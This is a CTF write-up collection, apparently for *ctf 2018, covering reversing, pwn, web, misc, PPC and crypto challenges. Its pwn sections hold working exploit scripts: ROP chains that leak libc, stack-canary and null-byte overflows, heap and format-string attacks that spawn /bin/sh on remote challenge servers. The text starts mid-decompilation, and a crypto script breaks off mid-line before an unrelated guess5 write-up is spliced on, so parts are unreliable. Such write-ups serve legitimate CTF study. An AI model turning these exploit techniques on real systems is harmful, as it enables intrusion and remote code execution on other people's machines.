l21 = i0; i0 = 2654435769u; l32 = i0; i0 = 0u; l43 = i0; i0 = 0u; l54 = i0; L1: i0 = l54; l58 = i0; i0 = l58; i1 = 32u; i0 = i0 < i1; l59 = i0; i0 = l59; i0 = !(i0); if (i0) { goto B2; } i0 = l32; l60 = i0; i0 = l43; l0 = i0; i0 = l0; i1 = l60; i0 += i1; l1 = i0; i0 = l1; l43 = i0; i0 = l10; l2 = i0; i0 = l2; i1 = 4u; i0 += i1; l3 = i0; i0 = l3; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l4 = i0; i0 = l4; i1 = 3u; i0 <<= (i1 & 31); l5 = i0; i0 = l21; l6 = i0; i0 = l6; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l7 = i0; i0 = l5; i1 = l7; i0 ^= i1; l8 = i0; i0 = l10; l9 = i0; i0 = l9; i1 = 4u; i0 += i1; l11 = i0; i0 = l11; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l12 = i0; i0 = l43; l13 = i0; i0 = l12; i1 = l13; i0 += i1; l14 = i0; i0 = l8; i1 = l14; i0 ^= i1; l15 = i0; i0 = l10; l16 = i0; i0 = l16; i1 = 4u; i0 += i1; l17 = i0; i0 = l17; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l18 = i0; i0 = l18; i1 = 5u; i0 >>= (i1 & 31); l19 = i0; i0 = l21; l20 = i0; i0 = l20; i1 = 4u; i0 += i1; l22 = i0; i0 = l22; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l23 = i0; i0 = l19; i1 = l23; i0 += i1; l24 = i0; i0 = l15; i1 = l24; i0 ^= i1; l25 = i0; i0 = l10; l26 = i0; i0 = l26; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l27 = i0; i0 = l27; i1 = l25; i0 += i1; l28 = i0; i0 = l26; i1 = l28; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l10; l29 = i0; i0 = l29; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l30 = i0; i0 = l30; i1 = 3u; i0 <<= (i1 & 31); l31 = i0; i0 = l21; l33 = i0; i0 = l33; i1 = 8u; i0 += i1; l34 = i0; i0 = l34; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l35 = i0; i0 = l31; i1 = l35; i0 ^= i1; l36 = i0; i0 = l10; l37 = i0; i0 = l37; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l38 = i0; i0 = l43; l39 = i0; i0 = l38; i1 = l39; i0 += i1; l40 = i0; i0 = l36; i1 = l40; i0 ^= i1; l41 = i0; i0 = l10; l42 = i0; i0 = l42; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l44 = i0; i0 = l44; i1 = 5u; i0 >>= (i1 & 31); l45 = i0; i0 = l21; l46 = i0; i0 = l46; i1 = 12u; i0 += i1; l47 = i0; i0 = l47; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l48 = i0; i0 = l45; i1 = l48; i0 += i1; l49 = i0; i0 = l41; i1 = l49; i0 ^= i1; l50 = i0; i0 = l10; l51 = i0; i0 = l51; i1 = 4u; i0 += i1; l52 = i0; i0 = l52; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l53 = i0; i0 = l53; i1 = l50; i0 += i1; l55 = i0; i0 = l52; i1 = l55; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l54; l56 = i0; i0 = l56; i1 = 1u; i0 += i1; l57 = i0; i0 = l57; l54 = i0; goto L1; B2:; i0 = l62; g10 = i0; goto Bfunc; Bfunc:; FUNC_EPILOGUE;} static void f11(u32 p0, u32 p1) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0; FUNC_PROLOGUE; u32 i0, i1; i0 = g10; l21 = i0; i0 = g10; i1 = 16u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 16u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = p0; l10 = i0; i0 = p1; l13 = i0; i0 = l13; l14 = i0; i0 = l14; i1 = 255u; i0 &= i1; l15 = i0; i0 = l10; l16 = i0; i0 = l16; i1 = l15; i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l13; l17 = i0; i0 = l17; i1 = 8u; i0 >>= (i1 & 31); l18 = i0; i0 = l18; i1 = 255u; i0 &= i1; l19 = i0; i0 = l10; l0 = i0; i0 = l0; i1 = 1u; i0 += i1; l1 = i0; i0 = l1; i1 = l19; i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l13; l2 = i0; i0 = l2; i1 = 16u; i0 >>= (i1 & 31); l3 = i0; i0 = l3; i1 = 255u; i0 &= i1; l4 = i0; i0 = l10; l5 = i0; i0 = l5; i1 = 2u; i0 += i1; l6 = i0; i0 = l6; i1 = l4; i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l13; l7 = i0; i0 = l7; i1 = 24u; i0 >>= (i1 & 31); l8 = i0; i0 = l8; i1 = 255u; i0 &= i1; l9 = i0; i0 = l10; l11 = i0; i0 = l11; i1 = 3u; i0 += i1; l12 = i0; i0 = l12; i1 = l9; i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l21; g10 = i0; goto Bfunc; Bfunc:; FUNC_EPILOGUE;} static u32 _check(u32 p0) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0, l24 = 0, l25 = 0, l26 = 0, l27 = 0, l28 = 0, l29 = 0, l30 = 0, l31 = 0, l32 = 0, l33 = 0, l34 = 0, l35 = 0, l36 = 0, l37 = 0, l38 = 0; FUNC_PROLOGUE; u32 i0, i1, i2, i3; i0 = g10; l36 = i0; i0 = g10; i1 = 160u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 160u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = l36; i1 = 144u; i0 += i1; l22 = i0; i0 = l36; i1 = 120u; i0 += i1; l28 = i0; i0 = l36; i1 = 8u; i0 += i1; l30 = i0; i0 = p0; l11 = i0; i0 = l11; l32 = i0; i0 = l32; i0 = (*Z_envZ__strlenZ_ii)(i0); l33 = i0; i0 = l33; i1 = 24u; i0 = i0 != i1; l1 = i0; i0 = l1; if (i0) { i0 = 0u; l0 = i0; i0 = l0; l27 = i0; i0 = l36; g10 = i0; i0 = l27; goto Bfunc; } i0 = l22; l34 = i0; i0 = (*Z_envZ_memoryBaseZ_i); i1 = 96u; i0 += i1; l37 = i0; i0 = l34; 144 i1 = 16u; i0 += i1; l38 = i0; L2: i0 = l34; i1 = l37; i1 = i32_load8_s(Z_envZ_memory, (u64)(i1)); i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l34; i1 = 1u; i0 += i1; l34 = i0; i0 = l37; i1 = 1u; i0 += i1; l37 = i0; i0 = l34; i1 = l38; i0 = (u32)((s32)i0 < (s32)i1); if (i0) {goto L2;} i0 = l11; l2 = i0; i0 = l28; 120 i1 = l2; plaintext i2 = 4u; 4 i3 = l22; 144 key? _EncryptCBC(i0, i1, i2, i3); i0 = 0u; l29 = i0; i0 = l30; l34 = i0; i0 = (*Z_envZ_memoryBaseZ_i); i1 = 0u; i0 += i1; l37 = i0; i0 = l34; i1 = 96u; i0 += i1; l38 = i0; L3: i0 = l34; i1 = l37; i1 = i32_load(Z_envZ_memory, (u64)(i1)); i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l34; i1 = 4u; i0 += i1; l34 = i0; i0 = l37; i1 = 4u; i0 += i1; l37 = i0; i0 = l34; i1 = l38; i0 = (u32)((s32)i0 < (s32)i1); if (i0) {goto L3;} i0 = 0u; l29 = i0; L4: i0 = l29; l3 = i0; i0 = l3; i1 = 3u; i0 = (u32)((s32)i0 < (s32)i1); l4 = i0; i0 = l4; i0 = !(i0); if (i0) { i0 = 11u; l35 = i0; goto B5; } i0 = 0u; l31 = i0; L7: i0 = l31; l5 = i0; i0 = l5; i1 = 8u; i0 = (u32)((s32)i0 < (s32)i1); l6 = i0; i0 = l29; l7 = i0; i0 = l6; i0 = !(i0); if (i0) { goto B8; } i0 = l7; i1 = 3u; i0 <<= (i1 & 31); l8 = i0; i0 = l31; l9 = i0; i0 = l8; i1 = l9; i0 += i1; l10 = i0; i0 = l28; i1 = l10; i0 += i1; l12 = i0; i0 = l12; i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l13 = i0; i0 = l13; i1 = 255u; i0 &= i1; l14 = i0; i0 = l29; l15 = i0; i0 = l15; i1 = 3u; i0 <<= (i1 & 31); l16 = i0; i0 = l16; i1 = 7u; i0 += i1; l17 = i0; i0 = l31; l18 = i0; i0 = l17; i1 = l18; i0 -= i1; l19 = i0; i0 = l30; cipher i1 = l19; i2 = 2u; i1 <<= (i2 & 31); i0 += i1; l20 = i0; i0 = l20; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l21 = i0; i0 = l14; i1 = l21; cipher[pos] i0 = i0 != i1; l23 = i0; i0 = l23; if (i0) { i0 = 8u; l35 = i0; goto B5; } i0 = l31; l24 = i0; i0 = l24; i1 = 1u; i0 += i1; l25 = i0; i0 = l25; l31 = i0; goto L7; B8:; i0 = l7; i1 = 1u; i0 += i1; l26 = i0; i0 = l26; l29 = i0; goto L4; B5:; i0 = l35; i1 = 8u; i0 = i0 == i1; if (i0) { i0 = 0u; l0 = i0; i0 = l0; l27 = i0; i0 = l36; g10 = i0; i0 = l27; goto Bfunc; } else { i0 = l35; i1 = 11u; i0 = i0 == i1; if (i0) { i0 = 1u; l0 = i0; i0 = l0; l27 = i0; i0 = l36; g10 = i0; i0 = l27; goto Bfunc; } } i0 = 0u; goto Bfunc; Bfunc:; FUNC_EPILOGUE; return i0;}```The first thing come out in my mind is that It's [TEA](https://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm). But there some difference. The encryption function in this challenge is```c=void encrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i < 32; i++) { /* basic cycle start */ sum += delta; v0 += ((v1<<3) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); v1 += ((v0<<3) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); } /* end cycle */ v[0]=v0; v[1]=v1;}```Now it's easy to write a decryption script```python=from pwn import *A=[0x99, 0x00, 0x00, 0x00, 0x77, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xbd, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x87, 0x00, 0x00, 0x00, 0x35, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x79, 0x00, 0x00, 0x00, 0x1d, 0x00, 0x00, 0x00, 0xf6, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0xb9, 0x00, 0x00, 0x00, 0xd6, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x93, 0x00, 0x00, 0x00, 0xcb, 0x00, 0x00, 0x00, 0xd8, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0xe3, 0x00, 0x00, 0x00]def decrypt(v,k): v0=v[0] v1=v[1] asum=0xC6EF3720 delta=0x9e3779b9 k0=k[0] k1=k[1] k2=k[2] k3=k[3] for i in range(32) : v1 -= ((v0<<3) ^ k2) ^ (v0 + asum) ^ ((v0>>5) + k3) v1 %=(2**32) v0 -= ((v1<<3) ^ k0) ^ (v1 + asum) ^ ((v1>>5) + k1) v0 %=(2**32) asum -= delta asum %= (2**32) return v0,v1 cipher=[A[i] for i in range(0,len(A),4)]cipher="".join(map(chr,cipher)) key="webasmintersting"k=[u32(key[i:i+4]) for i in range(0,len(key),4)] flag=""for i in range(3): vv=cipher[i*8:(i+1)*8][::-1] v=[u32(vv[i:i+4]) for i in range(0,len(vv),4)] a,b=decrypt(v,k) flag+=p32(a)+p32(b)print flag# *ctf{web4ss3mbly_1s_god}``` ### milktea (sasdf) ```python=import struct with open('milktea', 'rb') as f: data = f.read() keys = data[0x10C0:0x11A8] ct = data[0x1080:0x10B8]keys = struct.unpack('<' + 'I' * (len(keys) // 4), keys)keys = [keys[i:i+2] for i in range(0, len(keys), 2)]ct = struct.unpack('<' + 'I' * (len(ct) // 4), ct) # Fake memcmpxx = [ 0x0BF7AC52, 0x801135AA, 0x5341B12E, 0x8C284278, 0x879413EE, 0xF0D4BB6A, 0x3336515C, 0x1498DC7D, 0x0BE8AD86, 0x310FE5B8, 0x3DEEAFD4, 0x5603371B, 0x00000000, 0x00000000,]ct = [c ^ x for c, x in zip(ct, xx)]ct = [ct[i:i+2] for i in range(0, len(ct), 2)] sbox = [ 0x206D2749, 0x69622061, 0x61662067, 0x666F206E, 0x70657320, 0x6D657974, 0x37633634, 0x66336265, 0x63383538, 0x66373331, 0x66646239, 0x65356166, 0x38386630, 0x39386530, 0x62623935, 0x35366532, ] mask = 0xffffffff # Encyption sanity checklow, = struct.unpack('<I', 'aaaa')high = low for key in keys: high = ( ( (key[0] + sbox[low & 0xF]) ^ (low + ((low >> 5) ^ (low << 4))) ) + high ) & mask low = ( ( (key[1] + sbox[high & 0xF]) ^ (high + ((high >> 5) ^ (high << 4))) ) + low ) & maskres = low << 32 | high assert(res == 0xd5c62ef45e60fe03) # Decrypt flagplain = ''for c in ct: high, low = c for key in reversed(keys): low = ( low - ( (key[1] + sbox[high & 0xF]) ^ (high + ((high >> 5) ^ (high << 4))) ) ) & mask high = ( high - ( (key[0] + sbox[low & 0xF]) ^ (low + ((low >> 5) ^ (low << 4))) ) ) & mask res = high << 32 | low plain += struct.pack('<Q', res)print(repr(plain))``` ## pwn ### babystack (sces60107) In this challenge, you can overflow the stack canary.So you won't trigger `__stack_chk_fail` ```python=from pwn import *import hashlibimport itertoolsimport stringimport osimport timer=remote("47.91.226.78", 10005)#env = {'LD_PRELOAD': os.path.join(os.getcwd(),'./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253')}#r=process("./bs",env=env)#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']#gdb.attach(proc.pidof(r)[0],'b *'+hex(0x400a9b)+'\nc\n') def proofwork(): r.recvuntil('sha256(xxxx+') a=r.recvline() print a proof=a.split(" ")[-1] x=a.split(")")[0] proof=proof.strip() print r.recvuntil("xxxx:\n") for i in itertools.product(string.ascii_letters+string.digits,repeat=4): test="".join(i)+x k=hashlib.sha256() k.update(test) if k.hexdigest()==proof: print "find" r.sendline("".join(i)) breakproofwork() main=0x4009e7poprdi=0x400c03poprsi=0x400c01read=0x4007e0atoigot=0x601ff0putsgot=0x601fb0putplt=0x4007c0buf=0x602f00leave=0x400955p1=p64(poprdi)+p64(putsgot)+p64(putplt)p2=p64(poprdi)+p64(0)+p64(poprsi)+p64(buf+0x8)+p64(0)+p64(read)+p64(leave)payload=p1+p2 # You can overflow the stack canary, the stack canary offset is 0x6128print r.recvuntil("How many bytes do you want to send?")r.sendline(str(6128))r.send("a"*4112+p64(buf)+payload+"a"*(6128-4120-len(payload))) # The first part of payload leak the libc baser.recvuntil("It's time to say goodbye.\n")libbase=u64(r.recvline()[:6]+"\x00\x00")-0x6f690print hex(libbase)system=libbase+0x45390binsh=libbase+0x18cd57 # Using stack migration, you input payload againr.sendline(p64(poprdi)+p64(binsh)+p64(system)) r.interactive()# *ctf{h4ve_fun_w1th_0ld_tr1ck5_in_2018}``` ### note (sces60107) You can find out the null-byte overflow in Edit note. Then you also notice that the format string address is on the stack. You can overwrite it. Cause the wrong rbp value, you can overwrite return value when calling scanf. ```python=from pwn import *import hashlibimport itertoolsimport stringimport osimport timer=remote("47.89.18.224", 10007)#env = {'LD_PRELOAD': os.path.join(os.getcwd(),'./libc.so.6')}#r=process("./note",env=env)#context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] def proofwork(): r.recvuntil('sha256(xxxx+') a=r.recvline() print a proof=a.split(" ")[-1] x=a.split(")")[0] proof=proof.strip() print r.recvuntil("xxxx:\n") for i in itertools.product(string.ascii_letters+string.digits,repeat=4): test="".join(i)+x k=hashlib.sha256() k.update(test) if k.hexdigest()==proof: print "find" r.sendline("".join(i)) break proofwork()s=0x401129fd=0x602140printgot=0x601F90poprdi=0x401003 # Not importantr.recvuntil("Input your ID:")r.send(cyclic(256)) # You can trigger null-byte overflow# They put "%d" address on the stack, but rbp is different cause null-byte overflow. Now you can assign other format string. I choose %256sr.recvuntil("> ")r.sendline("1")r.recvuntil("Note:")r.sendline("a"*168+p64(s)+"a"*(256-176))r.recvuntil("> ") # Now the note address can be changed, I have arbitrary read. Just leak libc base address.r.sendline(p32(2)+p64(s)+p64(printgot))r.recvuntil("Note:")heapbase=r.recvline()print heapbase.encode("hex")libbase=u64(heapbase[:6]+"\x00\x00")-0x6f690print hex(libbase)system=libbase+0x45390binsh=libbase+0x18cd57 # You overwrite the return address when you call scanfr.recvuntil("> ")r.sendline("a"*100+p64(poprdi)+p64(binsh)+p64(system))r.interactive()# *ctf{n0te_helps_y0u_use_scanf}``` ### young_heap (4w4rd sces60107) ```python=from pwn import * # r = process('./young_heap')r = remote('47.89.11.82', 10009) r.recvuntil('xxxx+')suffix = r.recv(16)# suffix = 'OWSh3smUNo6dzei7'r.recvuntil(' == ')ans = r.recvuntil('\n')[:-1]# ans = '4dff4cca83f525f0053b69ee61571a04a561293992c3b3ba9cd3dc785c1def16'x = string.letters + string.digitsb = 0for c1 in x: for c2 in x: for c3 in x: for c4 in x: if hashlib.sha256(c1+c2+c3+c4+suffix).hexdigest() == ans: print c1+c2+c3+c4 r.sendline(c1+c2+c3+c4) b = 1 break if b == 1: break if b == 1: break if b == 1: break# r.interactive() def new_heap(size,cont): r.sendlineafter('>> ','1') r.sendlineafter(' :',str(size)) r.sendafter(' :',cont) def edit(idx,cont): r.sendlineafter('>> ','2') r.sendlineafter(' :',str(idx)) r.sendafter(' :',cont) def delete(idx): r.sendafter('>> ','3') r.sendafter(' :',str(idx)) new_heap(0x400,'a'*0x400) #0new_heap(0x400,'a'*0x400) #1new_heap(0x400,'a'*0x400) #2new_heap(0x400,'a'*0x400) #3 # delete(1)# delete(0)# r.interactive()edit(0,'a'*0x400+'\x01\x00')edit(1,'a'*0x400+'\x21\x08')delete(0)delete(2)edit(1,'a'*0x400+'\xa1')# new_heap(0x90)delete(1)# r.interactive()# edit(1,p64(0)+p64(0x10000))# delete(2)printf_plt = 0x4008a0addr = 0x602068new_heap(0x810,'%13$p\n\x00'+'a'*(0x400-7)+p64(0)+p64(0x410)+p64(addr)) #0new_heap(0x400,'a') #1new_heap(0x400,p64(printf_plt)) #2delete(0)l = int(r.recvuntil('\n').strip(),16)# print hex(l)libc = l - 0x20830system = libc + 0x45390print hex(libc)print hex(system) def fmt_att(fmt): new_heap(0x100, fmt) # 0 delete(0)# r.interactive()# get address here# r.interactive()\n# 15 & 41 & 42fmt_att('%15$p\n\n')base = int(r.recvuntil('\n').strip(),16)print hex(base)fmt_att('%15$s\n\n')k = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))print hex(k)attack_point = base + 8fmt_att("%"+str((attack_point+2)&0xffff)+'c%15$hn')fmt_att("%"+str(0x60)+'c%41$hn')fmt_att("%"+str(attack_point&0xffff)+'c%15$hn')fmt_att("%"+str(0x20e0)+'c%41$hn')# fmt_att("%42$s\n\n")# k = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))# print hex(k)# print hex(system&0xffff)fmt_att('%'+str(0x2060)+'c%42$hn')fmt_att("%"+str(0x20e2)+'c%41$hn')fmt_att('%'+str(0x60)+'c%42$hn')edit(4,p64(system))# fmt_att("%42$p")# new_heap(0x100,'%15$ln')#0# delete(0)r.interactive() ``` ## web ### simpleweb (how2hack)I use Z3 to find the solution for this challenge.```python#!/usr/bin/env python from z3 import * value = [BitVec("val_%d" % i, 32) for i in range(5)] s = Solver()for i in range(5): s.add(value[i] >= 0) s.add(value[i] <= 127) s.add(((((value[0]+value[1])*0x100+(value[1]+value[2]))*0x100+(value[2]+value[3]))*0x100+(value[3]+value[4])) == 0x23332333) if s.check() != sat: print "unsat"else: while s.check() == sat: print s.model() s.add(Or(value[0] != s.model()[value[0]], value[1] != s.model()[value[1]], value[2] != s.model()[value[2]], value[3] != s.model()[value[3]], value[4] != s.model()[value[4]])) '''[val_3 = 18, val_2 = 17, val_0 = 1, val_1 = 34, val_4 = 33][val_4 = 32, val_1 = 35, val_0 = 0, val_2 = 16, val_3 = 19][val_4 = 48, val_1 = 19, val_0 = 16, val_2 = 32, val_3 = 3][val_4 = 50, val_1 = 17, val_0 = 18, val_2 = 34, val_3 = 1][val_4 = 49, val_1 = 18, val_0 = 17, val_2 = 33, val_3 = 2][val_4 = 51, val_1 = 16, val_0 = 19, val_2 = 35, val_3 = 0][val_4 = 44, val_1 = 23, val_0 = 12, val_2 = 28, val_3 = 7][val_4 = 46, val_1 = 21, val_0 = 14, val_2 = 30, val_3 = 5][val_4 = 45, val_1 = 22, val_0 = 13, val_2 = 29, val_3 = 6][val_4 = 47, val_1 = 20, val_0 = 15, val_2 = 31, val_3 = 4][val_4 = 40, val_1 = 27, val_0 = 8, val_2 = 24, val_3 = 11][val_4 = 42, val_1 = 25, val_0 = 10, val_2 = 26, val_3 = 9][val_4 = 41, val_1 = 26, val_0 = 9, val_2 = 25, val_3 = 10][val_4 = 43, val_1 = 24, val_0 = 11, val_2 = 27, val_3 = 8][val_4 = 36, val_1 = 31, val_0 = 4, val_2 = 20, val_3 = 15][val_4 = 38, val_1 = 29, val_0 = 6, val_2 = 22, val_3 = 13][val_4 = 37, val_1 = 30, val_0 = 5, val_2 = 21, val_3 = 14][val_4 = 39, val_1 = 28, val_0 = 7, val_2 = 23, val_3 = 12][val_4 = 34, val_1 = 33, val_0 = 2, val_2 = 18, val_3 = 17][val_4 = 35, val_1 = 32, val_0 = 3, val_2 = 19, val_3 = 16]'''```There are multiple solutions. However, Javascript Array.sort() is a weird function... It sort the array in alphabetical order even for numbers, which means '12' < '4'. So the only solution is `[val_4 = 47, val_1 = 20, val_0 = 15, val_2 = 31, val_3 = 4]`. Flag: `*ctf{web_chal_made_by_binary_players_lol}` ## misc ### welcome (bookgin) Install: http://www.ecs.umass.edu/ece/koren/architecture/Simplescalar/SimpleScalar_introduction.htmRun: `./sim-fast ../1355a2b7-44dc-451f-a826-6debe8467923.welcome`Flag: `*ctf{we1_t0_*ctf}` ### warmup (sces60107) It's a easy challenge ```python=from pwn import *import osr=remote("47.91.226.78", 10006)#env = {'LD_PRELOAD': os.path.join(os.getcwd(),'./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253')}#r=process("./warmup",env=env)#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']#gdb.attach(proc.pidof(r)[0],'b *'+hex(0x400961)+'\nc\n') poprdi=0x400a63main=0x4008b9putsgot=0x600fa8putsplt=0x4006d8 # you can read whatever you wantprint r.recvuntil("What are you looking for?")r.sendline(str(putsgot))print r.recvline()libbase=int(r.recvline(),16)-0x6f690 # compute system addresssystem=libbase+0x45390poprdi=libbase+0x21102binsh=libbase+0x18cd57print hex(libbase) # Easy stack overflowprint r.recvuntil("What's your name?")r.sendline("a"*40+p64(poprdi)+p64(binsh)+p64(system)) r.interactive()# *ctf{h0pe_th1s_e4zy_gam3_warm_y0u_up}``` ## ppc ### magic_number (b04902036) simply use a binary search ```python#!/usr/bin/python from pwn import * host = '47.89.18.224'port = 10011 r = remote(host, port)count = 0while(1): count += 1 r.recvuntil(': n = ') n = int(r.recvuntil('\n').strip()) dic = dict() send_num = 0 ans = [] same = 0 same_ans = 0 for i in range(n): if(same > 0): same -= 1 for item in total: dic[(item[0], item[1])] -= 1 ans.append(same_ans) continue total = set() start = 0 end = 1024 prenum = n - i while(1): mid = (start + end) // 2 if((start, mid) in dic): num = dic[(start, mid)] else: send_num += 1 r.sendline('? ' + str(start) + ' ' + str(mid)) num = int(r.recvuntil('\n').strip()) dic[(start, mid)] = num if(num > 0): prenum = num total.add((start, mid)) dic[(start, mid)] -= 1 end = mid if(mid - start == 1): same = num - 1 same_ans = start ans.append(start) break else: start = mid if(end - mid == 1): same = prenum - 1 same_ans = mid ans.append(mid) break msg = '!' for i in ans: msg += ' ' + str(i) r.sendline(msg) if(count == 10): breakr.interactive()``` Flag: *ctf{magic algorithm produces magic numbers!} ### Chess Master (bookgin) We use WCCC 2017 champion komodo as our engine. The code is very dirty. We use wireshark to record the last packet and get flag. ```python#!/usr/bin/env python3# Python 3.6.4 from pwn import *import stringimport hashlibimport chess # https://github.com/niklasf/python-chessimport chess.uci as uci komodo = './komodo-9.02-linux' def PoW(): r.recvuntil('sha256(xxxx+') x = r.recvuntil(') ==', drop=True).decode() y = r.recvline().decode() y = y[:-1] print(x) print(y) s = string.ascii_letters+string.digits for i in s: for j in s: for k in s: for l in s: h = hashlib.sha256() guess = (i+j+k+l+x).encode() h.update(guess) z = h.hexdigest() if z == y: print(guess) r.sendline(i+j+k+l) break def parseBoard(s, rnd=0, turn='w'): fen = '' cnt = 0 for c in (s.strip() + '\n').replace(' ', '').replace('\n', '/'): if c == '.': cnt += 1 else: if cnt != 0: fen += str(cnt) cnt = 0 fen += c fen = fen.strip('/') return chess.Board(f"{fen} {turn} KQkq - 3 {rnd}") engine = uci.popen_engine(komodo)engine.uci()print(f'loaded "{engine.name}"') r = remote('47.89.11.82', 10012)PoW()print('[+] PoW Done')r.recvuntil('game starts\n')engine.ucinewgame() win_times = 0 # Use wireshark to record packet and get flag XDwhile True: print(win_times) buf = r.recvuntil('input your move(like e2e4):', drop=True).decode() if 'you win' in buf: win_times += 1 buf = buf[buf.find('game starts\n')+len('game starts\n'):] raw_board = buf board = parseBoard(raw_board) engine.position(board) best_move, ponder_move = engine.go(movetime=50) r.sendline(str(best_move)) #buf = r.recv(16) #if b'win' in buf: # break #print(buf) engine.quit()``` Flag: `*ctf{chess_is_s0_ea5y}` ## crypto ### primitive (sasdf) ```python=from pwn import *import numpy as npimport itertools as itimport stringfrom hashlib import sha256import multiprocessing as mpfrom PoW import remote # Connect to game server & PoWr = remote('47.75.4.252', 10001) # Cipher operationsdef add(a, b): return (a + b) & 0xff def rot(a, b): return (a>>(8-b) & 0xff) | ((a<<b) & 0xff) def xor(a, b): return (a ^ b) def msb(a): return a & 0x80 def mask(a, b): return a & (0xff << b) & 0x7f msk = 0 # How many bits at the end is OKsft = 0 # How many times we rotate the bytes. def setMSB(): global msk, ct, pt while True: # Find which char's MSB needs to be flip. flip = [msb(p) != msb(c) for p, c in zip(pt, ct)] if not any(flip): return # Get first char that needs to be flip. idx = next(i for i, e in enumerate(flip) if e) cur = mask(ct[idx], msk) # Make sure we won't flip some MSB that shouldn't be flip. while any(mask(c, msk) == cur for c, f in zip(ct, flip) if not f): if msk <= 0: raise ValueError('Conflict') msk -= 1 cur = mask(ct[idx], msk) # Make all bits in range [msk, 7] of target char to be 1. cur = mask(~cur, msk) assert(cur >= 0 and cur < 256) r.sendline(('2 %d' % cur).rjust(9, '0')) # Use carry to flip MSB of target char. assert((1 << msk) >= 0 and (1 << msk) < 256) r.sendline(('0 %d' % (1<
# ▼▼▼guess5(Crypto:200) 97/605=16.0%▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)** ```https://glgaines.github.io/guess5/made by glgHint: Challenge is working as expected.``` --- **【Grasp function】** Enter 6 numbers and press submit button,but the request was not sent. ↓ It seems to be judging with javascript --- **【Confirm javascript】** ```GET /guess5/js/app.js HTTP/1.1Host: glgaines.github.io``` ↓ ``` createGuesses: function() { var _guess0 = $("#input_guess0").val(); var _guess1 = $("#input_guess1").val(); var _guess2 = $("#input_guess2").val(); var _guess3 = $("#input_guess3").val(); var _guess4 = $("#input_guess4").val(); var _guess5 = $("#input_guess5").val();``` ↓ A value is assigned to a `createGuesses function` --- Search where you are using `createGuesses function` ↓ ```GET /guess5/Guess6.json HTTP/1.1Host: glgaines.github.io``` ↓ ```createGuesses(guesses);\r\n }\r\n\r\n function createGuesses(uint8[6] guesses) public view returns (uint[7], string) {\r\n uint[7] memory resultArray;\r\n uint16 adder = guesses[0] + guesses[1] + guesses[2] + guesses[3] + guesses[4] + guesses[5];\r\n uint16 correctCount = 0;\r\n string memory result_answer;\r\n\r\n uint timeNow = now/100 + adder;\r\n resultArray[0] = timeNow % 9;\r\n resultArray[1] = timeNow % 3;\r\n resultArray[2] = timeNow % 5;\r\n resultArray[3] = timeNow % 7;\r\n resultArray[4] = timeNow % 8;\r\n resultArray[5] = timeNow % 2;\r\n\r\n resultArray[6] = timeNow;\r\n\r\n for(uint8 i = 0; i < 6; i++){\r\n if(resultArray[i] == guesses[i]) {\r\n correctCount++;\r\n }\r\n }\r\n if (correctCount == guesses.length){\r\n result_answer = \"you got the Flag: WPI{All_Hail_The_Mighty_Vitalik}\";\r\n } else {\r\n result_answer = \"Try again\";\r\n }\r\n return (resultArray, result_answer);\r\n 